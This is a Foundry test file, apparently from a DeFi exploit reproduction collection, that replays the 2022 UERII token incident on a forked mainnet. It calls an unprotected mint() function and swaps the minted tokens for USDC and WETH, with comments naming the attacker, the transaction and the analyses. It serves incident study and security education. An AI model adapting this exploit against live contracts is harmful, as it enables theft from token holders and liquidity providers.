src/test/2022-10/Uerii_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~2,5K USDC
8// Attacker : 0xcc1A341D0F2a06Eaba436935399793F05C2bbE92
9// Attack Contract : https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D95
10// Vulnerable Contract : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be
11// Attack Tx : https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be#code#L493
15 
16// @Analysis
17// Twitter Peckshield : https://twitter.com/peckshield/status/1581988895142526976
18// Article Quillaudits : https://quillaudits.medium.com/access-control-vulnerability-in-defi-quillaudits-909e7ed4582c
19 
20interface IUERII is IERC20 {
21    function mint() external;
22}
23 
24contract ContractTest is Test {
25    IUERII constant UERII_TOKEN = IUERII(0x418C24191aE947A78C99fDc0e45a1f96Afb254BE);
26    IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
27    IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
28    Uni_Router_V3 constant UNI_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
29 
30    function setUp() public {
31        vm.createSelectFork("mainnet", 15_767_837);
32        // Adding labels to improve stack traces' readability
33        vm.label(address(UERII_TOKEN), "UERII_TOKEN");
34        vm.label(address(USDC_TOKEN), "USDC_TOKEN");
35        vm.label(address(WETH_TOKEN), "WETH_TOKEN");
36        vm.label(address(UNI_ROUTER), "UNI_ROUTER");
37        vm.label(0x5FFaf1B4Da96D6Cfd4045035A94A924fC39631dC, "UERII_USDC_PAIR");
38        vm.label(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640, "USDC_WETH_PAIR");
39    }
40 
41    function testExploit() public {
42        emit log_named_decimal_uint(
43            "[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 18
44        );
45 
46        // Actual payload exploiting the missing access control
47        UERII_TOKEN.mint();
48 
49        // Exchanging the newly minted UERII for USDC
50        UERII_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);
51        _UERIIToUSDC();
52 
53        // Exchanging all USDC for WETH
54        USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);
55        _USDCToWETH();
56 
57        emit log_named_decimal_uint(
58            "[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 18
59        );
60    }
61 
62    /**
63     * Auxiliary function to swap all UERII to USDC
64     */
65    function _UERIIToUSDC() internal {
66        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
67            tokenIn: address(UERII_TOKEN),
68            tokenOut: address(USDC_TOKEN),
69            fee: 500,
70            recipient: address(this),
71            deadline: block.timestamp,
72            amountIn: UERII_TOKEN.balanceOf(address(this)),
73            amountOutMinimum: 0,
74            sqrtPriceLimitX96: 0
75        });
76        UNI_ROUTER.exactInputSingle(_Params);
77    }
78 
79    /**
80     * Auxiliary function to swap all USDC to WETH
81     */
82    function _USDCToWETH() internal {
83        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
84            tokenIn: address(USDC_TOKEN),
85            tokenOut: address(WETH_TOKEN),
86            fee: 500,
87            recipient: address(this),
88            deadline: block.timestamp,
89            amountIn: USDC_TOKEN.balanceOf(address(this)),
90            amountOutMinimum: 0,
91            sqrtPriceLimitX96: 0
92        });
93        UNI_ROUTER.exactInputSingle(_Params);
94    }
95}